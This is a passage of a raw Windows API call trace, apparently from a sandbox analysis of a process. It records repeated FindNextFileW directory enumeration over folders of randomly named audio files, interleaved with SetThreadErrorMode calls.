nFileSizeLow=0xf241, dwReserved0=0x0, dwReserved1=0x0, cFileName="F2HbiCUSFjhd9g1ENl.m4a", cAlternateFileName="F2HBIC~1.M4A")) returned 1 [0162.894] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5216cf80, ftCreationTime.dwHighDateTime=0x1d99b17, ftLastAccessTime.dwLowDateTime=0xbbad33f0, ftLastAccessTime.dwHighDateTime=0x1d99cbe, ftLastWriteTime.dwLowDateTime=0xbbad33f0, ftLastWriteTime.dwHighDateTime=0x1d99cbe, nFileSizeHigh=0x0, nFileSizeLow=0x217d, dwReserved0=0x0, dwReserved1=0x0, cFileName="s9hrz_P 8rYvdHW8vq.m4a", cAlternateFileName="S9HRZ_~1.M4A")) returned 1 [0162.894] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0162.895] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e8cc) returned 1 [0162.895] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eb2c) returned 1 [0162.896] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eb10) returned 1 [0162.896] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eb10) returned 1 [0162.896] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb1957870, ftCreationTime.dwHighDateTime=0x1d99267, ftLastAccessTime.dwLowDateTime=0xa416e00, ftLastAccessTime.dwHighDateTime=0x1d99a58, ftLastWriteTime.dwLowDateTime=0xa416e00, ftLastWriteTime.dwHighDateTime=0x1d99a58, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0162.896] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21c97130, ftCreationTime.dwHighDateTime=0x1d9913e, ftLastAccessTime.dwLowDateTime=0xbaa2f9b0, ftLastAccessTime.dwHighDateTime=0x1d99749, ftLastWriteTime.dwLowDateTime=0xbaa2f9b0, ftLastWriteTime.dwHighDateTime=0x1d99749, nFileSizeHigh=0x0, nFileSizeLow=0x5e1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="cyolQx1poY.m4a", cAlternateFileName="CYOLQX~1.M4A")) returned 1 [0162.896] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x66fa0490, ftCreationTime.dwHighDateTime=0x1d99968, ftLastAccessTime.dwLowDateTime=0x48931500, ftLastAccessTime.dwHighDateTime=0x1d99ae4, ftLastWriteTime.dwLowDateTime=0x48931500, ftLastWriteTime.dwHighDateTime=0x1d99ae4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HnGdqI3uzhk02", cAlternateFileName="HNGDQI~1")) returned 1 [0162.897] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0162.897] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e8cc) returned 1 [0162.897] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eb2c) returned 1 [0162.897] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb1957870, ftCreationTime.dwHighDateTime=0x1d99267, ftLastAccessTime.dwLowDateTime=0xa416e00, ftLastAccessTime.dwHighDateTime=0x1d99a58, ftLastWriteTime.dwLowDateTime=0xa416e00, ftLastWriteTime.dwHighDateTime=0x1d99a58, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0162.897] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21c97130, ftCreationTime.dwHighDateTime=0x1d9913e, ftLastAccessTime.dwLowDateTime=0xbaa2f9b0, ftLastAccessTime.dwHighDateTime=0x1d99749, ftLastWriteTime.dwLowDateTime=0xbaa2f9b0, ftLastWriteTime.dwHighDateTime=0x1d99749, nFileSizeHigh=0x0, nFileSizeLow=0x5e1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="cyolQx1poY.m4a", cAlternateFileName="CYOLQX~1.M4A")) returned 1 [0162.897] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x66fa0490, ftCreationTime.dwHighDateTime=0x1d99968, ftLastAccessTime.dwLowDateTime=0x48931500, ftLastAccessTime.dwHighDateTime=0x1d99ae4, ftLastWriteTime.dwLowDateTime=0x48931500, ftLastWriteTime.dwHighDateTime=0x1d99ae4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HnGdqI3uzhk02", cAlternateFileName="HNGDQI~1")) returned 1 [0162.897] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x66fa0490, ftCreationTime.dwHighDateTime=0x1d99968, ftLastAccessTime.dwLowDateTime=0x48931500, ftLastAccessTime.dwHighDateTime=0x1d99ae4, ftLastWriteTime.dwLowDateTime=0x48931500, ftLastWriteTime.dwHighDateTime=0x1d99ae4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HnGdqI3uzhk02", cAlternateFileName="HNGDQI~1")) returned 0 [0162.897] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e8cc) returned 1 [0162.898] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eb2c) returned 1 [0162.898] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ea90) returned 1 [0162.898] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ea90) returned 1 [0162.898] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e894 | out: lpFindFileData=0x5a2e894*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x66fa0490, ftCreationTime.dwHighDateTime=0x1d99968, ftLastAccessTime.dwLowDateTime=0x48931500, ftLastAccessTime.dwHighDateTime=0x1d99ae4, ftLastWriteTime.dwLowDateTime=0x48931500, ftLastWriteTime.dwHighDateTime=0x1d99ae4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0162.898] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e894 | out: lpFindFileData=0x5a2e894*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe62e5b80, ftCreationTime.dwHighDateTime=0x1d990ad, ftLastAccessTime.dwLowDateTime=0x62caf270, ftLastAccessTime.dwHighDateTime=0x1d99329, ftLastWriteTime.dwLowDateTime=0x62caf270, ftLastWriteTime.dwHighDateTime=0x1d99329, nFileSizeHigh=0x0, nFileSizeLow=0x1290b, dwReserved0=0x0, dwReserved1=0x0, cFileName="I82Ix5OTQ989c-Uh2jWL.mp3", cAlternateFileName="I82IX5~1.MP3")) returned 1 [0162.899] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e894 | out: lpFindFileData=0x5a2e894*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47f23b50, ftCreationTime.dwHighDateTime=0x1d99187, ftLastAccessTime.dwLowDateTime=0xd16de700, ftLastAccessTime.dwHighDateTime=0x1d998ba, ftLastWriteTime.dwLowDateTime=0xd16de700, ftLastWriteTime.dwHighDateTime=0x1d998ba, nFileSizeHigh=0x0, nFileSizeLow=0x2958, dwReserved0=0x0, dwReserved1=0x0, cFileName="jahUcGG.m4a", cAlternateFileName="")) returned 1 [0162.899] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e894 | out: lpFindFileData=0x5a2e894*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd390470, ftCreationTime.dwHighDateTime=0x1d99a97, ftLastAccessTime.dwLowDateTime=0x14201510, ftLastAccessTime.dwHighDateTime=0x1d99bd0, ftLastWriteTime.dwLowDateTime=0x14201510, ftLastWriteTime.dwHighDateTime=0x1d99bd0, nFileSizeHigh=0x0, nFileSizeLow=0x291d, dwReserved0=0x0, dwReserved1=0x0, cFileName="jW54Ba8xSbY.wav", cAlternateFileName="JW54BA~1.WAV")) returned 1 [0162.899] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e894 | out: lpFindFileData=0x5a2e894*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd0f01c0, ftCreationTime.dwHighDateTime=0x1d99c80, ftLastAccessTime.dwLowDateTime=0xd02df130, ftLastAccessTime.dwHighDateTime=0x1d99cd1, ftLastWriteTime.dwLowDateTime=0xd02df130, ftLastWriteTime.dwHighDateTime=0x1d99cd1, nFileSizeHigh=0x0, nFileSizeLow=0xf894, dwReserved0=0x0, dwReserved1=0x0, cFileName="ln8YfCU_Yh0.wav", cAlternateFileName="LN8YFC~1.WAV")) returned 1 [0162.899] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e894 | out: lpFindFileData=0x5a2e894*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42428230, ftCreationTime.dwHighDateTime=0x1d992d3, ftLastAccessTime.dwLowDateTime=0x3546d60, ftLastAccessTime.dwHighDateTime=0x1d996d7, ftLastWriteTime.dwLowDateTime=0x3546d60, ftLastWriteTime.dwHighDateTime=0x1d996d7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="M5V7viLPSBu Fn", cAlternateFileName="M5V7VI~1")) returned 1 [0162.899] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e894 | out: lpFindFileData=0x5a2e894*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20008cb0, ftCreationTime.dwHighDateTime=0x1d993de, ftLastAccessTime.dwLowDateTime=0xe6cf59c0, ftLastAccessTime.dwHighDateTime=0x1d99b5e, ftLastWriteTime.dwLowDateTime=0xe6cf59c0, ftLastWriteTime.dwHighDateTime=0x1d99b5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="O5Kq9mR4CC", cAlternateFileName="O5KQ9M~1")) returned 1 [0162.899] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e894 | out: lpFindFileData=0x5a2e894*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3f3bc650, ftCreationTime.dwHighDateTime=0x1d98dfb, ftLastAccessTime.dwLowDateTime=0x878313f0, ftLastAccessTime.dwHighDateTime=0x1d99d96, ftLastWriteTime.dwLowDateTime=0x878313f0, ftLastWriteTime.dwHighDateTime=0x1d99d96, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="qL4ItMgKfKQ", cAlternateFileName="QL4ITM~1")) returned 1 [0162.899] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e894 | out: lpFindFileData=0x5a2e894*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e387b00, ftCreationTime.dwHighDateTime=0x1d99c15, ftLastAccessTime.dwLowDateTime=0x4658c930, ftLastAccessTime.dwHighDateTime=0x1d99c54, ftLastWriteTime.dwLowDateTime=0x4658c930, ftLastWriteTime.dwHighDateTime=0x1d99c54, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="xLkRw", cAlternateFileName="")) returned 1 [0162.900] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e894 | out: lpFindFileData=0x5a2e894*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0162.900] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e84c) returned 1 [0162.900] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eaac) returned 1 [0162.900] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e894 | out: lpFindFileData=0x5a2e894*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x66fa0490, ftCreationTime.dwHighDateTime=0x1d99968, ftLastAccessTime.dwLowDateTime=0x48931500, ftLastAccessTime.dwHighDateTime=0x1d99ae4, ftLastWriteTime.dwLowDateTime=0x48931500, ftLastWriteTime.dwHighDateTime=0x1d99ae4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0162.900] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e894 | out: lpFindFileData=0x5a2e894*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe62e5b80, ftCreationTime.dwHighDateTime=0x1d990ad, ftLastAccessTime.dwLowDateTime=0x62caf270, ftLastAccessTime.dwHighDateTime=0x1d99329, ftLastWriteTime.dwLowDateTime=0x62caf270, ftLastWriteTime.dwHighDateTime=0x1d99329, nFileSizeHigh=0x0, nFileSizeLow=0x1290b, dwReserved0=0x0, dwReserved1=0x0, cFileName="I82Ix5OTQ989c-Uh2jWL.mp3", cAlternateFileName="I82IX5~1.MP3")) returned 1 [0162.900] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e894 | out: lpFindFileData=0x5a2e894*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47f23b50, ftCreationTime.dwHighDateTime=0x1d99187, ftLastAccessTime.dwLowDateTime=0xd16de700, ftLastAccessTime.dwHighDateTime=0x1d998ba, ftLastWriteTime.dwLowDateTime=0xd16de700, ftLastWriteTime.dwHighDateTime=0x1d998ba, nFileSizeHigh=0x0, nFileSizeLow=0x2958, dwReserved0=0x0, dwReserved1=0x0, cFileName="jahUcGG.m4a", cAlternateFileName="")) returned 1 [0162.900] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e894 | out: lpFindFileData=0x5a2e894*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd390470, ftCreationTime.dwHighDateTime=0x1d99a97, ftLastAccessTime.dwLowDateTime=0x14201510, ftLastAccessTime.dwHighDateTime=0x1d99bd0, ftLastWriteTime.dwLowDateTime=0x14201510, ftLastWriteTime.dwHighDateTime=0x1d99bd0, nFileSizeHigh=0x0, nFileSizeLow=0x291d, dwReserved0=0x0, dwReserved1=0x0, cFileName="jW54Ba8xSbY.wav", cAlternateFileName="JW54BA~1.WAV")) returned 1 [0162.901] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e894 | out: lpFindFileData=0x5a2e894*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd0f01c0, ftCreationTime.dwHighDateTime=0x1d99c80, ftLastAccessTime.dwLowDateTime=0xd02df130, ftLastAccessTime.dwHighDateTime=0x1d99cd1, ftLastWriteTime.dwLowDateTime=0xd02df130, ftLastWriteTime.dwHighDateTime=0x1d99cd1, nFileSizeHigh=0x0, nFileSizeLow=0xf894, dwReserved0=0x0, dwReserved1=0x0, cFileName="ln8YfCU_Yh0.wav", cAlternateFileName="LN8YFC~1.WAV")) returned 1 [0162.901] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e894 | out: lpFindFileData=0x5a2e894*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42428230, ftCreationTime.dwHighDateTime=0x1d992d3, ftLastAccessTime.dwLowDateTime=0x3546d60, ftLastAccessTime.dwHighDateTime=0x1d996d7, ftLastWriteTime.dwLowDateTime=0x3546d60, ftLastWriteTime.dwHighDateTime=0x1d996d7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="M5V7viLPSBu Fn", cAlternateFileName="M5V7VI~1")) returned 1 [0162.901] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e894 | out: lpFindFileData=0x5a2e894*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20008cb0, ftCreationTime.dwHighDateTime=0x1d993de, ftLastAccessTime.dwLowDateTime=0xe6cf59c0, ftLastAccessTime.dwHighDateTime=0x1d99b5e, ftLastWriteTime.dwLowDateTime=0xe6cf59c0, ftLastWriteTime.dwHighDateTime=0x1d99b5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="O5Kq9mR4CC", cAlternateFileName="O5KQ9M~1")) returned 1 [0162.901] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e894 | out: lpFindFileData=0x5a2e894*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3f3bc650, ftCreationTime.dwHighDateTime=0x1d98dfb, ftLastAccessTime.dwLowDateTime=0x878313f0, ftLastAccessTime.dwHighDateTime=0x1d99d96, ftLastWriteTime.dwLowDateTime=0x878313f0, ftLastWriteTime.dwHighDateTime=0x1d99d96, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="qL4ItMgKfKQ", cAlternateFileName="QL4ITM~1")) returned 1 [0162.901] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e894 | out: lpFindFileData=0x5a2e894*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e387b00, ftCreationTime.dwHighDateTime=0x1d99c15, ftLastAccessTime.dwLowDateTime=0x4658c930, ftLastAccessTime.dwHighDateTime=0x1d99c54, ftLastWriteTime.dwLowDateTime=0x4658c930, ftLastWriteTime.dwHighDateTime=0x1d99c54, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="xLkRw", cAlternateFileName="")) returned 1 [0162.901] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e894 | out: lpFindFileData=0x5a2e894*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e387b00, ftCreationTime.dwHighDateTime=0x1d99c15, ftLastAccessTime.dwLowDateTime=0x4658c930, ftLastAccessTime.dwHighDateTime=0x1d99c54, ftLastWriteTime.dwLowDateTime=0x4658c930, ftLastWriteTime.dwHighDateTime=0x1d99c54, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="xLkRw", cAlternateFileName="")) returned 0 [0162.901] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e84c) returned 1 [0162.902] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eaac) returned 1 [0162.902] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ea10) returned 1 [0162.902] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ea10) returned 1 [0162.902] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42428230, ftCreationTime.dwHighDateTime=0x1d992d3, ftLastAccessTime.dwLowDateTime=0x3546d60, ftLastAccessTime.dwHighDateTime=0x1d996d7, ftLastWriteTime.dwLowDateTime=0x3546d60, ftLastWriteTime.dwHighDateTime=0x1d996d7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0162.903] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x734fcdb0, ftCreationTime.dwHighDateTime=0x1d99b02, ftLastAccessTime.dwLowDateTime=0x79ffcdb0, ftLastAccessTime.dwHighDateTime=0x1d99c04, ftLastWriteTime.dwLowDateTime=0x79ffcdb0, ftLastWriteTime.dwHighDateTime=0x1d99c04, nFileSizeHigh=0x0, nFileSizeLow=0xe33a, dwReserved0=0x0, dwReserved1=0x0, cFileName="0cA5darpWBXR.wav", cAlternateFileName="0CA5DA~1.WAV")) returned 1 [0162.903] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89de6020, ftCreationTime.dwHighDateTime=0x1d98e8f, ftLastAccessTime.dwLowDateTime=0xa7c27e30, ftLastAccessTime.dwHighDateTime=0x1d99913, ftLastWriteTime.dwLowDateTime=0xa7c27e30, ftLastWriteTime.dwHighDateTime=0x1d99913, nFileSizeHigh=0x0, nFileSizeLow=0x4c4b, dwReserved0=0x0, dwReserved1=0x0, cFileName="2-hXC4LFdHsq_mKvo.mp3", cAlternateFileName="2-HXC4~1.MP3")) returned 1 [0162.903] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac564e10, ftCreationTime.dwHighDateTime=0x1d99669, ftLastAccessTime.dwLowDateTime=0xbd266420, ftLastAccessTime.dwHighDateTime=0x1d996e4, ftLastWriteTime.dwLowDateTime=0xbd266420, ftLastWriteTime.dwHighDateTime=0x1d996e4, nFileSizeHigh=0x0, nFileSizeLow=0xf6c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="UOrn1.mp3", cAlternateFileName="")) returned 1 [0162.903] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0f53270, ftCreationTime.dwHighDateTime=0x1d98e23, ftLastAccessTime.dwLowDateTime=0xd1e6ad0, ftLastAccessTime.dwHighDateTime=0x1d998da, ftLastWriteTime.dwLowDateTime=0xd1e6ad0, ftLastWriteTime.dwHighDateTime=0x1d998da, nFileSizeHigh=0x0, nFileSizeLow=0x20c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="XXq4gabRA0W.wav", cAlternateFileName="XXQ4GA~1.WAV")) returned 1 [0162.903] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0f53270, ftCreationTime.dwHighDateTime=0x1d98e23, ftLastAccessTime.dwLowDateTime=0xd1e6ad0, ftLastAccessTime.dwHighDateTime=0x1d998da, ftLastWriteTime.dwLowDateTime=0xd1e6ad0, ftLastWriteTime.dwHighDateTime=0x1d998da, nFileSizeHigh=0x0, nFileSizeLow=0x20c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="XXq4gabRA0W.wav", cAlternateFileName="XXQ4GA~1.WAV")) returned 0 [0162.903] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e7cc) returned 1 [0162.903] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ea2c) returned 1 [0162.903] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42428230, ftCreationTime.dwHighDateTime=0x1d992d3, ftLastAccessTime.dwLowDateTime=0x3546d60, ftLastAccessTime.dwHighDateTime=0x1d996d7, ftLastWriteTime.dwLowDateTime=0x3546d60, ftLastWriteTime.dwHighDateTime=0x1d996d7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0162.904] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x734fcdb0, ftCreationTime.dwHighDateTime=0x1d99b02, ftLastAccessTime.dwLowDateTime=0x79ffcdb0, ftLastAccessTime.dwHighDateTime=0x1d99c04, ftLastWriteTime.dwLowDateTime=0x79ffcdb0, ftLastWriteTime.dwHighDateTime=0x1d99c04, nFileSizeHigh=0x0, nFileSizeLow=0xe33a, dwReserved0=0x0, dwReserved1=0x0, cFileName="0cA5darpWBXR.wav", cAlternateFileName="0CA5DA~1.WAV")) returned 1 [0162.904] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89de6020, ftCreationTime.dwHighDateTime=0x1d98e8f, ftLastAccessTime.dwLowDateTime=0xa7c27e30, ftLastAccessTime.dwHighDateTime=0x1d99913, ftLastWriteTime.dwLowDateTime=0xa7c27e30, ftLastWriteTime.dwHighDateTime=0x1d99913, nFileSizeHigh=0x0, nFileSizeLow=0x4c4b, dwReserved0=0x0, dwReserved1=0x0, cFileName="2-hXC4LFdHsq_mKvo.mp3", cAlternateFileName="2-HXC4~1.MP3")) returned 1 [0162.904] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac564e10, ftCreationTime.dwHighDateTime=0x1d99669, ftLastAccessTime.dwLowDateTime=0xbd266420, ftLastAccessTime.dwHighDateTime=0x1d996e4, ftLastWriteTime.dwLowDateTime=0xbd266420, ftLastWriteTime.dwHighDateTime=0x1d996e4, nFileSizeHigh=0x0, nFileSizeLow=0xf6c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="UOrn1.mp3", cAlternateFileName="")) returned 1 [0162.904] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0f53270, ftCreationTime.dwHighDateTime=0x1d98e23, ftLastAccessTime.dwLowDateTime=0xd1e6ad0, ftLastAccessTime.dwHighDateTime=0x1d998da, ftLastWriteTime.dwLowDateTime=0xd1e6ad0, ftLastWriteTime.dwHighDateTime=0x1d998da, nFileSizeHigh=0x0, nFileSizeLow=0x20c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="XXq4gabRA0W.wav", cAlternateFileName="XXQ4GA~1.WAV")) returned 1 [0162.904] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0162.904] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e7cc) returned 1 [0162.905] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ea2c) returned 1 [0162.906] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ea10) returned 1 [0162.906] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ea10) returned 1 [0162.906] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20008cb0, ftCreationTime.dwHighDateTime=0x1d993de, ftLastAccessTime.dwLowDateTime=0xe6cf59c0, ftLastAccessTime.dwHighDateTime=0x1d99b5e, ftLastWriteTime.dwLowDateTime=0xe6cf59c0, ftLastWriteTime.dwHighDateTime=0x1d99b5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, 